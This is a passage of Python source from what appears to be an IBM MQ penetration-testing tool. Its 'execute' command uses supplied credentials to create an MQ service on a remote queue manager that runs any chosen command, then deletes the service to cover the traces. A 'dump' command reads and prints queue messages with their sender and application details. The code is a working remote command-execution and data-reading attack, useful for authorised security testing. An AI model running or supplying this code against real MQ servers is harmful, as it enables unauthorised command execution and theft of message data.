pymqi.CMQ.MQCC_FAILED and dme.reason == pymqi.CMQC.MQRC_GET_INHIBITED: click.secho('GET not allowed on queue with current access.', fg='red') break else: raise dme message_count += 1 click.secho(f'Saved {message_count} message(s) in total.', bold=True) queue.close() qmgr.disconnect()
def execute(cmd, args, service_name, wait, ignore_path): """ Execute an arbitrary command. \b Examples: python punch-q.py command execute -c /bin/ping -a "-c 1 192.168.0.1" python punch-q.py -C pq.yml command execute --cmd "/bin/ping" --args "-c 5 192.168.0.8" --wait 8 """ # Generate a service name if none was provided if not service_name: service_name = uuid.uuid4() # Cleanup the service name to remove spaces and dashes and limit to 16 chars service_name = str(service_name).replace('-', '').replace(' ', '')[0:16].encode() # Check if a full path was provided for the command to run. # Seems like the ENV for MQ does not have a PATH set if '/' not in cmd and not ignore_path: click.secho('The command does not appear to be a full path to the executable. This command execution may ' 'fail. Are you sure you want to continue?', fg='yellow') if not click.confirm('Continue?'): return # information click.secho(f'Command: {cmd}', dim=True) click.secho(f'Arguments: {args}', dim=True) click.secho(f'Service Name: {service_name.decode()}\n', dim=True) qmgr = pymqi.connect(mqstate.qm_name, mqstate.channel, mqstate.get_host(), mqstate.username, mqstate.password) # create the service click.secho('Creating service...', dim=True) args = { pymqi.CMQC.MQCA_SERVICE_NAME: service_name, pymqi.CMQC.MQIA_SERVICE_CONTROL: pymqi.CMQC.MQSVC_CONTROL_MANUAL, pymqi.CMQC.MQIA_SERVICE_TYPE: pymqi.CMQC.MQSVC_TYPE_COMMAND, pymqi.CMQC.MQCA_SERVICE_START_COMMAND: cmd.encode(), pymqi.CMQC.MQCA_SERVICE_START_ARGS: args.encode(), } pcf = pymqi.PCFExecute(qmgr) pcf.MQCMD_CREATE_SERVICE(args) # start the service click.secho('Starting service...', fg='green') args = { pymqi.CMQC.MQCA_SERVICE_NAME: service_name } try: pcf = pymqi.PCFExecute(qmgr) pcf.MQCMD_START_SERVICE(args) except pymqi.MQMIError as dme: if dme.reason == pymqi.CMQCFC.MQRCCF_PROGRAM_NOT_AVAILABLE: click.secho(f'The program \'{cmd}\' is not available on the remote system.', fg='red') return else: raise dme click.secho(f'Giving the service {wait} second(s) to live...', dim=True) time.sleep(wait) # delete service click.secho('Cleaning up service...', dim=True) args = { pymqi.CMQC.MQCA_SERVICE_NAME: service_name } pcf = pymqi.PCFExecute(qmgr) pcf.MQCMD_DELETE_SERVICE(args) qmgr.disconnect() click.secho('Done', fg='green')
def dump(queue, limit): """ Dump messages from a queue, non-destructively. """ click.secho('Dumping a maximum of {0} messages from {1}...'.format( limit, queue), dim=True) qmgr = pymqi.connect(mqstate.qm_name, mqstate.channel, mqstate.get_host(), mqstate.username, mqstate.password) # https://www.ibm.com/support/knowledgecenter/en/SSFKSJ_7.5.0/com.ibm.mq.ref.dev.doc/q096780_.htm # https://github.com/dsuch/pymqi/blob/master/code/examples/put_get_correl_id.py gmo = pymqi.GMO() gmo.Options = pymqi.CMQC.MQGMO_BROWSE_NEXT queue = pymqi.Queue(qmgr, str(queue), pymqi.CMQC.MQOO_BROWSE) message_count = 0 while message_count < limit: try: request_md = pymqi.MD() message = queue.get(None, request_md, gmo) # check if we have a MQSTR message. if request_md.Format.strip() not in ['MQSTR', '']: # remove non-printables and update the Format # column with (stripped) so that it is visible message = filter( lambda x: x in string.printable if x not in ['\n', '\t', '\r', '\r\n'] else '', message) request_md.Format = request_md.Format.strip() + ' (stripped)' table = get_table_handle([ 'Date', 'Time', 'MsgID', 'MsgType', 'Expiry', 'User', 'Format', 'App Name' ], markdown=False) table.append_row([ request_md.PutDate, request_md.PutTime, filter(lambda x: x in string.printable, request_md.MsgId), # f* up non-printables. request_md.MsgType, request_md.Expiry, request_md.UserIdentifier.strip(), request_md.Format.strip(), request_md.PutApplName.strip(), ]) # Print a 'header' for the message click.secho(table.get_string()) # Print the message itself click.secho('\n' + '*' * 40 + ' BEGIN MESSAGE DATA ' + '*' * 40, dim=True) click.secho(message.strip()) click.secho('*' * 41 + ' END MESSAGE DATA ' + '*' * 41 + '\n', dim=True) except pymqi.MQMIError as dme: if dme.comp == pymqi.CMQC.MQCC_FAILED and dme.reason == pymqi.CMQC.MQRC_NO_MSG_AVAILABLE: click.secho('Dump complete. No more messages on the queue.', fg='yellow') break else: raise dme message_count += 1 click.secho('') click.secho('\nGot {0} message(s) in total.'.format(message_count), dim=True) queue.close() qmgr.disconnect()